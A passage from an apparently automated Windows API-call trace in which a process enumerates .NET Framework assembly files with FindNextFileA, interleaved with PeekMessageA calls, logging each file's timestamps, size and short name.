ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19100, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Configuration.Install.dll", cAlternateFileName="SY7CBA~1.DLL")) returned 1 [0137.920] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.921] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61e7ac60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x141ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="SYBC71~1.DLL")) returned 1 [0137.921] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.921] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61ea0dc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x11708, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="SYB515~1.DLL")) returned 1 [0137.921] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.922] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6660a1c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x32dab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.dll", cAlternateFileName="SY4B41~1.DLL")) returned 1 [0137.922] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.922] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61f131e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1084e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="SYF836~1.DLL")) returned 1 [0137.922] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.925] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x620dc260, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3d78c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="SY6F41~1.DLL")) returned 1 [0137.925] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.925] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6214e680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa7cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="SY0451~1.DLL")) returned 1 [0137.925] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.926] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x66760e20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7b2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.OracleClient.dll", cAlternateFileName="SYA7DA~1.DLL")) returned 1 [0137.926] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.926] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6219a940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6c2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="SYB971~1.DLL")) returned 1 [0137.926] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.927] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x621c0aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2a8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="SY93D7~1.DLL")) returned 1 [0137.927] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.927] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62232ec0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xa3cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="SY4A22~1.DLL")) returned 1 [0137.933] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.933] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x667d3240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb3ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.SqlXml.dll", cAlternateFileName="SY4741~1.DLL")) returned 1 [0137.934] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.934] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x66903d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xceac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Deployment.dll", cAlternateFileName="SY3E0D~1.DLL")) returned 1 [0137.934] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.934] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6717eba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x4c74a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Design.dll", cAlternateFileName="SYD615~1.DLL")) returned 1 [0137.934] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.935] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x671cae60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xfab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Device.dll", cAlternateFileName="SYB600~1.DLL")) returned 1 [0137.935] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.935] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6227f180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7500, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Diagnostics.Contracts.dll", cAlternateFileName="SY13BA~1.DLL")) returned 1 [0137.935] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.935] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x622a52e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Diagnostics.Debug.dll", cAlternateFileName="SYE19A~1.DLL")) returned 1 [0137.936] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.936] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x622f15a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Diagnostics.Tools.dll", cAlternateFileName="SYD280~1.DLL")) returned 1 [0137.936] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.936] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62317700, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Diagnostics.Tracing.dll", cAlternateFileName="SY9FD3~1.DLL")) returned 1 [0137.936] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.937] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x623639c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x47f30, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="SY26B5~1.DLL")) returned 1 [0137.937] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.937] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x672633e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x670e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.dll", cAlternateFileName="SY6492~1.DLL")) returned 1 [0137.938] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.938] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x672d5800, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x31328, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.Protocols.dll", cAlternateFileName="SY2FA3~1.DLL")) returned 1 [0137.938] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.938] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x678ef060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x352280, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.dll", cAlternateFileName="")) returned 1 [0137.938] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.939] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67961480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1b8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Drawing.Design.dll", cAlternateFileName="SYFB9C~1.DLL")) returned 1 [0137.939] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.939] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67b767c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x912b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Drawing.dll", cAlternateFileName="SYC77F~1.DLL")) returned 1 [0137.939] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.939] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1f7500, ftCreationTime.dwHighDateTime=0x1d0aa80, ftLastAccessTime.dwLowDateTime=0x67b9c920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xf1f7500, ftLastWriteTime.dwHighDateTime=0x1d0aa80, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Drawing.tlb", cAlternateFileName="SYSTEM~1.TLB")) returned 1 [0137.939] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.940] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x623afc80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1feb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Dynamic.dll", cAlternateFileName="SY61A4~1.DLL")) returned 1 [0137.940] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.940] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x623d5de0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Dynamic.Runtime.dll", cAlternateFileName="SY4EBE~1.DLL")) returned 1 [0137.940] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.941] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67db1c60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3a8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.dll", cAlternateFileName="SYB6C4~1.DLL")) returned 1 [0137.941] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.941] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67dd7dc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x17f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.Thunk.dll", cAlternateFileName="SYBA77~1.DLL")) returned 1 [0137.941] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.941] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991b0e00, ftCreationTime.dwHighDateTime=0x1d0aa7f, ftLastAccessTime.dwLowDateTime=0x67dfdf20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x991b0e00, ftLastWriteTime.dwHighDateTime=0x1d0aa7f, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.tlb", cAlternateFileName="SYSTEM~2.TLB")) returned 1 [0137.941] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.942] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85df00, ftCreationTime.dwHighDateTime=0x1d0aa7e, ftLastAccessTime.dwLowDateTime=0x67e24080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe85df00, ftLastWriteTime.dwHighDateTime=0x1d0aa7e, nFileSizeHigh=0x0, nFileSizeLow=0x1b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.Wrapper.dll", cAlternateFileName="SYB1CF~1.DLL")) returned 1 [0137.942] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.942] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6252ca40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Globalization.dll", cAlternateFileName="SYCC76~1.DLL")) returned 1 [0137.942] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.943] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62611280, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x104ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="SYD62F~1.DLL")) returned 1 [0137.943] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.943] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6271bc20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x23710, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="SYE650~1.DLL")) returned 1 [0137.943] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.943] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, 